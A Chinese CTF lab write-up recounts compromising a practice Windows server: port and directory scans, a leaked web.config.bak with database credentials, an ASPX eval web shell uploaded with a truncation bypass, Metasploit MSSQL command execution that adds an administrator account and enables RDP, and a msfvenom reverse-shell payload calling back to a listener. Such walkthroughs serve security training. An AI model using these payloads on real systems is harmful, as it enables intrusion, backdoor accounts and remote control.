原文链接:记一次对CTF靶机的取key之路
0x01、声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
0x02 、前言
拿到一台靶机,要求是找到服务器的key值,接下来就开始取key之路
0x03 上路
1、端口收集
使用nmap扫描的时候,直接nmap -A 192.168.199.249发现只能扫出一个1433端口。
因为Windows一下只能扫出1-10000端口,而使用nmap -p1-65535 -A 192.168.199.249也不行,因为nmap如果扫描的端口过多流量就会过大,可能会漏掉一些端口
所以,使用:
- nmap -p 1-10000 -A 192.168.199.249
- nmap -p 10001-20000 -A 192.168.199.249
复制代码以此类推来进行扫描端口。
一共扫出了两个端口:1433、27689
1433对应的服务是ms sql,另一个未知。 2、目录收集 使用dirb http://192.168.199.249对目录进行了扫描
使用御剑进行目录扫描:
这里发现了一个web.config.bak,信息收集果然重要。
访问这个网页发现下载了一个web.config.bak文件:
点击这个文件发现了数据库名字,用户和用户密码,并出来了第一个key值
使用Navicat对数据库进行连接:
可以查看到用户和密码。
3、登陆页面的发现 在前面找到了端口27689,访问了一下,发现权限不够
访问robots.txt:
访问http://192.168.199.249:27689/Default.aspx 是个文件上传下载系统登陆页面
利用刚才数据库发现的账号密码登录成功。
4、文件上传 这里我写的一句话是
<%@Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
保存为shell.jpg,上传
这里要用到的是 ; 截断绕过
然后在后台发现上传的文件中查看到上传的文件名是由随机的时间和自己上传的文件名结合而成的。
还有文件上传的提示,文件名不能超过32位
这里出现了一个溢出漏洞,只能识别32位,我们可以让他超过32位,就是加上随机生成的,比如自动生成13位,我们可以~~(13位)~~(14位).aspx.txt
所以可以利用文件名长度的限制,用burp来进行截断。
前面上传发了一个错误的请求,直接爆出了上传文件的真实路径。/upfile/affix/
菜刀连接:
在web.config.bak_2017-1中发现了mssql中的sa用户和密码。
5、寻找key值 打开msf使用 use auxiliary/admin/mssql/mssql_exec模块 设置cmd、rhosts、username、password
可以修改cmd中的命令
可以通过设置cmd中的命令来新建一个用户,并设置密码,把此用户加入到administrators这个用户组中。 set cmd net user liu /add(添加liu这个用户) set cmd net user liu 123(设置liu这个用户的密码为123) set cmd net localgroup administrators liu /add(把liu这个用户添加到administrators这个用户组中) set cmd wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1(开启3389端口)
远程桌面连接后找到key值
第二种方法是使用msf生成木马进行监听然后拿到shell
先生成木马:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.199.213 lport=8888 -f exe -o uu.exe
然后菜刀上传,通过搜索key文件:search -f *.txt -d C:/
|